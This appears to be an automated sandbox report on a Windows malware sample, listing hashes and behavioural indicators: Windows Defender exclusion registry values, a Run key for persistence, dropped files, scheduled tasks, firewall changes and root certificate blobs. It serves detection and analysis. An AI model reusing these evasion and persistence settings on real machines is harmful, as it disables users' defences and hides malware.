Analysis
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max time kernel
127s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
17-11-2020 12:31
Static task
static1
Behavioral task
behavioral1
Sample
96442eb485c39eb8651526f48308d799.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
96442eb485c39eb8651526f48308d799.exe
Resource
win10v20201028
General
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Target
96442eb485c39eb8651526f48308d799.exe
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Size
3.7MB
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MD5
0caf2ac1d9bf654b65725e2ad30dba7f
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SHA1
a7c142daa8cdd524df29783d137a57013c794b7d
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SHA256
e56e8b12e3f84bdc0ddef9324321ad0bb2f1279a8e3d453a6ab2d83440a48249
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SHA512
56a39b020c34aa3bf97342b01a01b1cde47482c2504536c1ce5abf09377b9b3e7129ce0f94db8e968a50746ae4ff91acd1e22bfe4c13775f9908e60dce600547
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1184 csrss.exe 1796 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
96442eb485c39eb8651526f48308d799.exepatch.exepid process 1572 96442eb485c39eb8651526f48308d799.exe 1572 96442eb485c39eb8651526f48308d799.exe 868 1796 patch.exe 1796 patch.exe 1796 patch.exe 1796 patch.exe 1796 patch.exe -
Processes:
96442eb485c39eb8651526f48308d799.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a11adf549854.exe = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\a11adf549854 = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ShyDew = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\96442eb485c39eb8651526f48308d799.exe = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 96442eb485c39eb8651526f48308d799.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 96442eb485c39eb8651526f48308d799.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
96442eb485c39eb8651526f48308d799.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShyDew = "\"C:\\Windows\\rss\\csrss.exe\"" 96442eb485c39eb8651526f48308d799.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
96442eb485c39eb8651526f48308d799.exedescription ioc process File opened for modification C:\Windows\rss 96442eb485c39eb8651526f48308d799.exe File created C:\Windows\rss\csrss.exe 96442eb485c39eb8651526f48308d799.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1580 schtasks.exe 1120 schtasks.exe -
Modifies data under HKEY_USERS 237 IoCs
Processes:
96442eb485c39eb8651526f48308d799.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 96442eb485c39eb8651526f48308d799.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 96442eb485c39eb8651526f48308d799.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 96442eb485c39eb8651526f48308d799.exe -
Processes:
patch.execsrss.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948